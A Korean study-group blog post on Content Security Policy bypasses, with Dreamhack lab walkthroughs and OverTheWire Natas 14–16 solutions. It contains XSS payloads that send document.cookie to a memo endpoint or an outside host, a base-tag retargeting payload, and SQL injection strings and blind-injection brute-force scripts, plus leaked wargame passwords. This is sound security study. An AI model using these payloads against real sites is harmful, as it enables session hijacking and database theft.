ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [SISS/웹해킹 스터디] 25-1학기 4주차 스터디 - Content Security Policy, Natas 14 >> 16
    25-1 SISS/웹해킹 2025. 4. 3. 00:00

    [SISS/웹해킹 스터디] 25-1학기 4주차 스터디 - Content Security Policy, Natas 14 >> 16

    : 4주차 (3/31 ~ 4/6) Content Security Policy 14 >> 16

     

    수강 인증 화면 캡쳐

     

    CSP Bypass


    • CSP 우회
      • 신뢰하는 도메인에 업로드
        • 스크립트 등을 업로드 한 후 다운로드 경로로 웹페이지에 자원을 포함시킬 수 있음
        <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
        ...
        <h1>검색 결과: <script src="/download_file.php?id=177742"></script></h1>
        
      • JSONP API
        • 허용한 출처가 JSONP API를 지원할 경우 callback 파라미터에 원하는 스크립트를 삽입하여 공격할 수 있음
        • JSONP
          • JSON with Padding
          • 웹 애플리케이션에서 서로 다른 도메인 간의 데이터 전송 시 사용
          • GET 파라미터를 통해서만 전달
        • 예시
          • Google Accounts 서비스
          <https://accounts.google.com/o/oauth2/revoke?callback=alert(1)>;
          
        • 방어
          • 콜백 이름에 식별자 제외 문자 거부
          • JSONP가 아닌 CORS 지원 API 사용
          <meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
          ...
          <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
          <!-- JSONP API 결과:
          // API callback
          alert(1);({
            "error": {
              "code": 400,
              "message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
              "status": "INVALID_ARGUMENT"
            }
          }
          );
          -->
      • nonce 예측 가능
        • 공격자가 예측할 수 없는 nonce 값이 태그 속성에 존재할 것을 요구함으로써 XSS 공격 방어
        • nonce
          • 주의사항
            • srand(), rand()와 같이 nonce 생성 알고리즘이 예측 가능할 경우 공격 가능성 증가 → 의사 난수 생성기를 이용
            • HTTP 헤더 혹은 <meta> 태그(nonce 값을 가지고 있음)가 캐싱될 경우 스크립트를 통해 추가 경로를 붙여 접근 가능
            • 캐시 서버가 확장자 기반 캐시 여부를 판단할 경우 정적 파일인 .css 로드 시 같은 nonce가 반환됨 → 클라이언트측 공격 취약
          • Nginx, PHP FastCGI SAPI(php-fpm) 예시
            • /dom_xss_vulnerable.php/style.css로 접근 시 dom_xss_vulnerable.php 파일 실행 → nonce가 <meta> 태그를 통해 출력됨
            • PATH_INFO 기능을 사용하지 않은 경우 URL 끝이 .php일 경우에만 FastCGI로 넘어가도록 수정해야함
            • php 중복 방지를 위하여 fastcgi-php.conf 스니펫을 사용하지 않아야함
            // Nginx와 PHP FastCGI SAPI 사용 기본 형식
            location ~ \\.php {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.2-fpm.sock;
            }
            
            // snippets/fastcgi-php.conf
            # regex to split $uri to $fastcgi_script_name and $fastcgi_path
            fastcgi_split_path_info ^(.+\\.php)(/.+)$;
            
            # Check that the PHP script exists before passing it
            try_files $fastcgi_script_name =404;
            
            # Bypass the fact that try_files resets $fastcgi_path_info
            # see: <http://trac.nginx.org/nginx/ticket/321>
            set $path_info $fastcgi_path_info;
            fastcgi_param PATH_INFO $path_info;
            
            fastcgi_index index.php;
            include fastcgi.conf;
            
            // 공격 예시
            <script nonce="{고정된 nonce 값}">alert(1);</script>
            
            // php 중복 방지 예시
            location ~ \\.php$ {
                try_files $uri =404;
                fastcgi_index index.php;
                include fastcgi.conf;
                fastcgi_pass unix:/run/php/php7.2-fpm.sock;
            }
            
      • base-uri 미지정
        • <base> 태그
          • 경로 해석의 기준점을 변경
        • base-uri CSP 구문을 지정하지 않은 경우 default 값이 존재하지 않음
        • base 태그의 URL 제한
          • href 속성을 사용하지 않는 페이지일 경우
          • 임의 마크업은 삽입 가능하나 스크립트를 실행할 수 없는 경우(CSP) → (Nonce Retargeting) base 태그를 이용하여 임의 자원 로드
            // href 속성을 사용하지 않는 페이지의 방어
            Content-Security-Policy: base-uri 'none'
            
            <base href="https://malice.test">
            <script src="/jquery.js" nonce=NONCE> 
            <!-- jquery.js는 base 태그에 의해 https://malice.test/jquery.js를 가리킵니다. -->

     

    퀴즈


    CSP 퀴즈

     

    실습 - CSP Bypass


    • /vuln
      • 전달받은 param 파라미터 출력
      @app.route("/vuln")
      def vuln():
          param = request.args.get("param", "")
          return param
      
    • /memo
      • memo 파라미터를 render_template 함수를 통해 기록 및 출력
      @app.route("/memo")
      def memo():
          global memo_text
          text = request.args.get("memo", "")
          memo_text += text + "\\n"
        return render_template("memo.html", memo=memo_text, nonce=nonce)
      
    • /flag
      • GET
        • URL 입력받는 페이지
      • POST
        • read_url()을 반환하는 check_xss()를 호출하여 vuln 엔드포인트에 접속
        def read_url(url, cookie={"name": "name", "value": "value"}):
            cookie.update({"domain": "127.0.0.1"})
            try:
                service = Service(executable_path="/chromedriver")
                options = webdriver.ChromeOptions()
                for _ in [
                    "headless",
                    "window-size=1920x1080",
                    "disable-gpu",
                    "no-sandbox",
                    "disable-dev-shm-usage",
                ]:
                    options.add_argument(_)
                driver = webdriver.Chrome(service=service, options=options)
                driver.implicitly_wait(3)
                driver.set_page_load_timeout(3)
                driver.get("<http://127.0.0.1:8000/>")
                driver.add_cookie(cookie)
                driver.get(url)
            except Exception as e:
                driver.quit()
                # return str(e)
                return False
            driver.quit()
            return True
        
        def check_xss(param, cookie={"name": "name", "value": "value"}):
            url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>"
            return read_url(url, cookie)
            
        @app.route("/flag", methods=["GET", "POST"])
        def flag():
            if request.method == "GET":
                return render_template("flag.html", nonce=nonce)
            elif request.method == "POST":
                param = request.form.get("param")
                if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
                    return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
        
                return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
        
    • add_header()
      • nonce 속성 필요
      • 같은 출처 내의 파일만을 src로 허용
      @app.after_request
      def add_header(response):
          global nonce
          response.headers[
              "Content-Security-Policy"
          ] = f"default-src 'self'; img-src <https://dreamhack.io>; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
          nonce = os.urandom(16).hex()
          return response
      
    • 취약점 분석
      • CSP에서 self를 이용하고 있기 때문에 이를 이용하여 공격 가능
    • 풀이 → 탈취한 이용자의 쿠키를 memo 엔트포인트를 이용하여 전달
      속성 설명
      location.href 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값입니다.
      document.cookie 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값입니다.
      • memo 페이지 사용
      • 웹 서버 사용
    // memo 페이지 사용
    <script src="/vuln?param=document.location='/memo?memo='%2bdocument.cookie"></script>
    
    // 웹 서버 사용
    =<script src="/vuln?param=document.location='http://RANDOMHOST.request.dreamhack.games/?memo='%2bdocument.cookie;"></script>

    memo 페이지

     

    실습 - CSP Bypass Advanced


    • 문제
      • 취약점
        • base-src가 설정되지 않음 → 내가 만든 서버에서 동일한 경로의 파일을 작성하여 쿠키를 탈취
      • src 경로
        • <script>에서 jquery 라이브러리 로드 경로를 확인 → /static/js/jquery.min.js

    실습 코드 분석

     

    • 입력
      • 웹 서버 호스팅
        • 깃허브에 static 레포지토리를 생성하여 아래의 코드를 커밋
          • js/jquery.min.js
        • 설정 > page에서 main 브랜치를 save하여 웹 페이지 생성
    // js/jquery.min.js
    location.href = "http://127.0.0.1:8000/memo?memo=" + document.cookie

    js/jquery.min.js

     

    • flag
    // flag 페이지
    <base href="http://[호스팅한 주소]/">

    실습 - CSP Bypass Advanced

     

    Natas 14 >> 15


    • 풀이
      • View sourcecode
        • 쿼리 결과가 존재할 경우 로그인 성공
        • 쿼리
          • $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
          → or를 이용하여 참으로 만듦
      • form 입력
        • "or 1#

    Natas 14 >> 15 View sourcecode
    Natas 14 >> 15 payload 입력

     

    • 입력
      • id → natas15
      • pw → SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

    Natas 14 >> 15

     

    Natas 15 >> 16


    • 풀이
      • View sourcecode
        • 유저명이 데이터베이스에 존재하는지 여부를 확인 → blind sql injection
          • $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
      • 자동화 프로그램 작성
    import requests
    import re
    import string
    
    username = 'natas15'
    password = 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx'
    
    url = f"http://{username}.natas.labs.overthewire.org/?debug=true"
    
    letters = string.ascii_letters + string.digits
    
    nataspass = ''
    
    while len(nataspass) < 32:
        for char in letters:
            response = requests.post(url, auth = (username, password), data = {"username":
            'natas16" AND BINARY password LIKE "' + nataspass + char + '%" #'}, )
            if "exists" in response.text:
                nataspass += char
                print(nataspass)
                break
    # 실패 - socket을 이용한 방법
    import socket
    
    # 비밀번호를 저장할 변수
    password = ""
    
    # 가능한 ASCII 범위 (제외할 문자 제거)
    valid_ascii = [j for j in range(48, 123) if not (59 <= j <= 64 or 91 <= j <= 96)]
    
    # 비밀번호 찾기
    for position in range(1, 33):
        for char_ascii in valid_ascii:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
                sock.connect(("176.9.9.172", 80))
                
                # HTTP 요청 헤더 생성
                request = (f"GET /index.php?username=natas16%22%20and%20ascii(substr(password,{position},1))={char_ascii}%23 "
                           "HTTP/1.1\r\n"
                           "Host: natas15.natas.labs.overthewire.org\r\n"
                           "Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n"
                           "\r\n")
                
                sock.send(request.encode())
                response = sock.recv(65535).decode()
                
                # 응답 확인
                if "This user exists." in response:
                    password += chr(char_ascii)
                    print(f"현재 비밀번호: {password}")
                    break

    Natas 15 >> 16 풀이

     

    • 입력
      • id → natas16
      • pw → hPkjKYviLQctEW33QmuXL6eDVfMW4sGo

    Natas 15 >> 16 입력

     

Designed by Tistory.